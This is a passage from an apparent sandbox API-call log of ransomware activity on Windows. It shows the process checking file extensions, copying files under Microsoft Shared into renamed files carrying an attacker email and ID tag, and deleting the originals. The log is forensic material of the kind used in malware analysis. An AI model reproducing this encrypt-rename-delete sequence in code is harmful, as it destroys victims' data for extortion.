4 [0036.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString=".7z") returned 3 [0036.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.155] lstrlenW (lpString=".dbf") returned 4 [0036.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.155] lstrlenW (lpString=".1cd") returned 4 [0036.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0036.155] lstrlenW (lpString=".jpg") returned 4 [0036.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.156] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0036.156] lstrlenW (lpString="MS.GIF") returned 6 [0036.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.634] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1069) returned 1 [0036.634] CloseHandle (hObject=0x1ac) returned 1 [0036.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0036.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.634] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.635] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.635] GetLastError () returned 0x0 [0036.635] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x42d, lpOverlapped=0x0) returned 1 [0036.636] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x430, lpOverlapped=0x0) returned 1 [0036.637] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.637] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.637] SetEndOfFile (hFile=0x1a0) returned 1 [0036.637] CloseHandle (hObject=0x1a0) returned 1 [0036.638] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.638] SetEndOfFile (hFile=0x1ac) returned 1 [0036.639] CloseHandle (hObject=0x1ac) returned 1 [0036.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0036.639] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0036.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.640] lstrlenW (lpString=".doc") returned 4 [0036.640] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0036.640] lstrlenW (lpString=".docx") returned 5 [0036.640] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0036.640] lstrlenW (lpString=".pdf") returned 4 [0036.640] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0036.640] lstrlenW (lpString=".xls") returned 4 [0036.640] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0036.640] lstrlenW (lpString=".xlsx") returned 5 [0036.640] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0036.640] lstrlenW (lpString=".ppt") returned 4 [0036.640] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0036.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.640] lstrlenW (lpString=".zip") returned 4 [0036.640] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0036.640] lstrlenW (lpString=".rar") returned 4 [0036.640] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0036.640] lstrlenW (lpString=".bz2") returned 4 [0036.640] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0036.640] lstrlenW (lpString=".7z") returned 3 [0036.640] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0036.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.640] lstrlenW (lpString=".dbf") returned 4 [0036.640] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0036.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.640] lstrlenW (lpString=".1cd") returned 4 [0036.641] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString=".jpg") returned 4 [0036.641] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString=".doc") returned 4 [0036.641] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0036.641] lstrlenW (lpString=".docx") returned 5 [0036.641] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0036.641] lstrlenW (lpString=".pdf") returned 4 [0036.641] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString=".xls") returned 4 [0036.641] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString=".xlsx") returned 5 [0036.641] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0036.641] lstrlenW (lpString=".ppt") returned 4 [0036.641] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString=".zip") returned 4 [0036.641] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString=".rar") returned 4 [0036.641] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0036.641] lstrlenW (lpString=".bz2") returned 4 [0036.641] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0036.641] lstrlenW (lpString=".7z") returned 3 [0036.641] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString=".dbf") returned 4 [0036.641] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0036.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.641] lstrlenW (lpString=".1cd") returned 4 [0036.641] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0036.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0036.642] lstrlenW (lpString=".jpg") returned 4 [0036.642] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0036.642] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1 [0036.642] lstrlenW (lpString="hwrenclm.dat") returned 12 [0036.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.758] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=815680) returned 1 [0037.758] CloseHandle (hObject=0x1a0) returned 1 [0037.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0037.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.758] lstrlenW (lpString=".doc") returned 4 [0037.758] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0037.758] lstrlenW (lpString=".docx") returned 5 [0037.758] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0037.758] lstrlenW (lpString=".pdf") returned 4 [0037.758] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0037.758] lstrlenW (lpString=".xls") returned 4 [0037.759] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".xlsx") returned 5 [0037.759] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0037.759] lstrlenW (lpString=".ppt") returned 4 [0037.759] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString=".zip") returned 4 [0037.759] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".rar") returned 4 [0037.759] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".bz2") returned 4 [0037.759] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0037.759] lstrlenW (lpString=".7z") returned 3 [0037.759] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString=".dbf") returned 4 [0037.759] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString=".1cd") returned 4 [0037.759] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString=".jpg") returned 4 [0037.759] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.759] lstrlenW (lpString=".doc") returned 4 [0037.759] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".docx") returned 5 [0037.759] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0037.759] lstrlenW (lpString=".pdf") returned 4 [0037.759] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".xls") returned 4 [0037.759] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0037.759] lstrlenW (lpString=".xlsx") returned 5 [0037.760] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0037.760] lstrlenW (lpString=".ppt") returned 4 [0037.760] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0037.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.760] lstrlenW (lpString=".zip") returned 4 [0037.760] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0037.760] lstrlenW (lpString=".rar") returned 4 [0037.760] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0037.760] lstrlenW (lpString=".bz2") returned 4 [0037.760] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0037.760] lstrlenW (lpString=".7z") returned 3 [0037.760] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0037.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.760] lstrlenW (lpString=".dbf") returned 4 [0037.760] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0037.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.760] lstrlenW (lpString=".1cd") returned 4 [0037.760] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0037.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0037.760] lstrlenW (lpString=".jpg") returned 4 [0037.760] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0037.760] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.760] lstrlenW (lpString="ipshrv.xml") returned 10 [0037.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.761] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2652) returned 1 [0037.761] CloseHandle (hObject=0x1a0) returned 1 [0037.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0037.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.761] lstrlenW (lpString=".doc") returned 4 [0037.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.761] lstrlenW (lpString=".docx") returned 5 [0037.761] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0037.761] lstrlenW (lpString=".pdf") returned 4 [0037.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.761] lstrlenW (lpString=".xls") returned 4 [0037.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.761] lstrlenW (lpString=".xlsx") returned 5 [0037.761] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0037.761] lstrlenW (lpString=".ppt") returned 4 [0037.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.761] lstrlenW (lpString=".zip") returned 4 [0037.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.761] lstrlenW (lpString=".rar") returned 4 [0037.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString=".bz2") returned 4 [0037.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString=".7z") returned 3 [0037.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString=".dbf") returned 4 [0037.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString=".1cd") returned 4 [0037.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString=".jpg") returned 4 [0037.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString=".doc") returned 4 [0037.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString=".docx") returned 5 [0037.762] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0037.762] lstrlenW (lpString=".pdf") returned 4 [0037.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString=".xls") returned 4 [0037.762] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString=".xlsx") returned 5 [0037.762] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0037.762] lstrlenW (lpString=".ppt") returned 4 [0037.762] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.762] lstrlenW (lpString=".zip") returned 4 [0037.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.762] lstrlenW (lpString=".rar") returned 4 [0037.763] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.763] lstrlenW (lpString=".bz2") returned 4 [0037.763] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.763] lstrlenW (lpString=".7z") returned 3 [0037.763] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.763] lstrlenW (lpString=".dbf") returned 4 [0037.763] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.763] lstrlenW (lpString=".1cd") returned 4 [0037.763] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0037.763] lstrlenW (lpString=".jpg") returned 4 [0037.763] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.763] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0037.763] lstrlenW (lpString="ipsita.xml") returned 10 [0037.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.763] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2526) returned 1 [0037.763] CloseHandle (hObject=0x1a0) returned 1 [0037.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0037.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.764] lstrlenW (lpString=".doc") returned 4 [0037.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString=".docx") returned 5 [0037.764] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0037.764] lstrlenW (lpString=".pdf") returned 4 [0037.764] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString=".xls") returned 4 [0037.764] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString=".xlsx") returned 5 [0037.764] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0037.764] lstrlenW (lpString=".ppt") returned 4 [0037.764] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.764] lstrlenW (lpString=".zip") returned 4 [0037.764] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.764] lstrlenW (lpString=".rar") returned 4 [0037.764] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString=".bz2") returned 4 [0037.764] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.764] lstrlenW (lpString=".7z") returned 3 [0037.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.764] lstrlenW (lpString=".dbf") returned 4 [0037.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".1cd") returned 4 [0037.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".jpg") returned 4 [0037.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".doc") returned 4 [0037.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString=".docx") returned 5 [0037.765] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0037.765] lstrlenW (lpString=".pdf") returned 4 [0037.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString=".xls") returned 4 [0037.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString=".xlsx") returned 5 [0037.765] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0037.765] lstrlenW (lpString=".ppt") returned 4 [0037.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".zip") returned 4 [0037.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.765] lstrlenW (lpString=".rar") returned 4 [0037.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString=".bz2") returned 4 [0037.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString=".7z") returned 3 [0037.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".dbf") returned 4 [0037.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0037.765] lstrlenW (lpString=".1cd") returned 4 [0037.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 